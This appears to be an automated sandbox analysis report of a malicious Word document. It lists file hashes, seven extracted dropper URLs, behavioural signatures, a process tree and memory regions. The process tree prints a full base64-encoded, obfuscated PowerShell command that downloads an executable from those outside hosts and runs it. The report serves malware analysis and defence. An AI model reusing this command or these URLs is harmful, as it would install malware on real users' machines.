Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/05/2024, 04:35

General

  • Target

    2d5f5f6cb586ff7a41c6f7a2a4685181_JaffaCakes118.doc

  • Size

    176KB

  • MD5

    2d5f5f6cb586ff7a41c6f7a2a4685181

  • SHA1

    de5c942f284f2bfb257d38b83f58117f064f449e

  • SHA256

    923692821eb7f6837085e7bef93e95d87c7d841697e21fa1730ee5d217312f14

  • SHA512

    34759cc9e9ba0570dde7c0adc4a3e60f57bfa8711c190c30e92294f848aa862457ba8483e7969b2ac0ec7aaf353deac135559ea3e4281924b53b0247bed55b66

  • SSDEEP

    1536:d2B72BYrdi1Ir77zOH98Wj2gpngd+a9PqPWjD2kKjHDYs+sbM+Sy10I:WrfrzOH98ipgXi2SHDYsDM+Sy10I

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://msmartyford.com/assets/BIO/

exe.dropper

http://jiafunongye.com/application/zh3/

exe.dropper

http://calledtochange.org/CalledtoChange/Uh/

exe.dropper

https://janataralo.com/public_html/k/

exe.dropper

https://www.breedenandsilver.com/wp-content/j/

exe.dropper

http://valleymedicalandsurgicalclinic.com/ujftb/p/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2d5f5f6cb586ff7a41c6f7a2a4685181_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABKADMAYQBqADkAcgBpAD0AKAAnAFcAJwArACcAOAAnACsAKAAnADgAbwAnACsAJwBrADAAZQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBwAHIATwBGAGkAbABFAFwAZwBQAGYAMQBTAFkAeABcAEYAOQBxAFMAbgAzAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQBSAEkAdAB5AHAAUgBPAFQAYABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAZwBtAHEAbQBuAGIAIAA9ACAAKAAoACcARQB2ADQANQAnACsAJwBlACcAKwAnADMAJwApACsAJwBoAG4AJwApADsAJABLAHUAMABoAG8AYgAwAD0AKAAnAEgAZAAnACsAKAAnAHUAbQAzAGYAJwArACcAMwAnACkAKQA7ACQAQQBtAGQAMwA4AHkAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADIAJwArACcAQwB1ACcAKQArACcARwAnACsAKAAnAHAAZgAxAHMAeQAnACsAJwB4ACcAKQArACgAJwAyAEMAdQBGADkAJwArACcAcQAnACkAKwAoACcAcwBuACcAKwAnADMAeAAnACkAKwAnADIAQwAnACsAJwB1ACcAKQAuACIAUgBlAHAATABgAEEAQwBFACIAKAAoAFsAYwBoAEEAUgBdADUAMAArAFsAYwBoAEEAUgBdADYANwArAFsAYwBoAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKwAkAFQAZwBtAHEAbQBuAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNADYAdgAzAGoAcABrAD0AKAAoACcAVAAnACsAJwBtADMAXwAnACkAKwAoACcANQA5ACcAKwAnAHYAJwApACkAOwAkAEgANgByAGIAdwBiAGoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAQwBMAEkAZQBuAHQAOwAkAEkAMwBrAHgAdQB3AG8APQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtACcAKwAnAHMAJwApACsAKAAnAG0AYQAnACsAJwByAHQAeQAnACsAJwBmAG8AcgAnACkAKwAnAGQALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACgAJwBzAC8AJwArACcAQgBJAE8AJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGoAaQBhACcAKwAnAGYAdQBuAG8AbgAnACsAJwBnAHkAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYQAnACsAKAAnAHAAJwArACcAcABsACcAKwAnAGkAYwBhAHQAaQAnACsAJwBvAG4AJwApACsAJwAvACcAKwAnAHoAJwArACcAaAAzACcAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwBjACcAKwAnAGEAbAAnACsAKAAnAGwAJwArACcAZQBkAHQAJwApACsAKAAnAG8AYwAnACsAJwBoACcAKQArACcAYQAnACsAKAAnAG4AJwArACcAZwBlACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACcAbABsACcAKwAoACcAZQBkAHQAbwAnACsAJwBDACcAKwAnAGgAYQBuAGcAJwArACcAZQAvAFUAJwApACsAKAAnAGgALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAagBhAG4AYQB0ACcAKQArACcAYQByACcAKwAnAGEAJwArACcAbAAnACsAKAAnAG8AJwArACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwBwAHUAYgBsAGkAJwArACcAYwAnACsAJwBfAGgAdABtAGwALwBrACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzACcAKwAnADoALwAvAHcAdwB3AC4AJwArACcAYgByACcAKQArACgAJwBlACcAKwAnAGUAZABlACcAKwAnAG4AYQBuAGQAcwBpAGwAJwApACsAKAAnAHYAZQByACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdgAnACkAKwAnAGEAbAAnACsAKAAnAGwAZQB5ACcAKwAnAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGMAYQBsACcAKQArACgAJwBhACcAKwAnAG4AZABzACcAKQArACgAJwB1AHIAJwArACcAZwAnACkAKwAnAGkAYwAnACsAKAAnAGEAbABjAGwAJwArACcAaQAnACkAKwAoACcAbgBpAGMALgBjAG8AJwArACcAbQAvACcAKwAnAHUAagAnACkAKwAnAGYAdAAnACsAJwBiAC8AJwArACgAJwBwACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAGMAaQAnACkAKwAnAG0AJwArACcAcwBqACcAKwAoACcAcgAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAGgAJwArACcAbwBzAHAAJwArACcAaQB0AGEAJwApACsAKAAnAGwALwB4ACcAKwAnADIAJwApACsAJwBmAC8AJwApAC4AIgBTAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQB0ADkAagBxAHIAPQAoACcAWQAnACsAKAAnADYAYQAnACsAJwA3ACcAKQArACgAJwB1AG0AJwArACcAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAaAB6AGMAagBqAHMAIABpAG4AIAAkAEkAMwBrAHgAdQB3AG8AKQB7AHQAcgB5AHsAJABIADYAcgBiAHcAYgBqAC4AIgBkAGAAbwB3AG4ATABgAG8AYQBgAGQAZgBpAGwAZQAiACgAJABCAGgAegBjAGoAagBzACwAIAAkAEEAbQBkADMAOAB5ADgAKQA7ACQAQQB3AHkAOQB3AHcAcQA9ACgAJwBHAGYAJwArACgAJwBxAGMAagAnACsAJwBfADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQQBtAGQAMwA4AHkAOAApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADMANQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAG0AZAAzADgAeQA4ACkAOwAkAFoAegBoAHcANgA5AGEAPQAoACgAJwBTACcAKwAnADUAbwAnACkAKwAoACcAcAAnACsAJwBvAGkAJwApACsAJwBwACcAKQA7AGIAcgBlAGEAawA7ACQASQAwAGgAawB4ADAAYgA9ACgAJwBPACcAKwAoACcAeQBlAF8AJwArACcAbwB3ADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB1AHgAZwA1AGcAPQAoACgAJwBRACcAKwAnAHUANwAzACcAKQArACcAYgAnACsAJwB2ADcAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2096

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            cf6b83539afb487b12d33312b3a04b75

            SHA1

            09c613f1ffdf0a5ae16c1e9aab6f9195bc194425

            SHA256

            c854f4440f943e5934018660b28c92c25dae82c45d82f81567b526e49e6c1b7e

            SHA512

            662785f6f048b717e3d5ce132f143d01579342570f9d6a8e8528e88070441eafb02b94c03017e238927c1b0d59d4f83aae599e077dfb87cda73779ce7a86c8f4

          • memory/1612-14-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-27-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-7-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-6-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-11-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-9-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-8-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-12-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-25-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-22-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-21-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-19-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-18-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-16-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-17-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-15-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-0-0x000000002FF21000-0x000000002FF22000-memory.dmp

            Filesize

            4KB

          • memory/1612-2-0x0000000070CBD000-0x0000000070CC8000-memory.dmp

            Filesize

            44KB

          • memory/1612-13-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-20-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-29-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-24-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-30-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-31-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-28-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-23-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-32-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-33-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-70-0x0000000070CBD000-0x0000000070CC8000-memory.dmp

            Filesize

            44KB

          • memory/1612-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1612-45-0x0000000070CBD000-0x0000000070CC8000-memory.dmp

            Filesize

            44KB

          • memory/1612-46-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-48-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-49-0x00000000002D0000-0x00000000003D0000-memory.dmp

            Filesize

            1024KB

          • memory/1612-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2096-40-0x0000000002090000-0x0000000002098000-memory.dmp

            Filesize

            32KB

          • memory/2096-39-0x000000001B340000-0x000000001B622000-memory.dmp

            Filesize

            2.9MB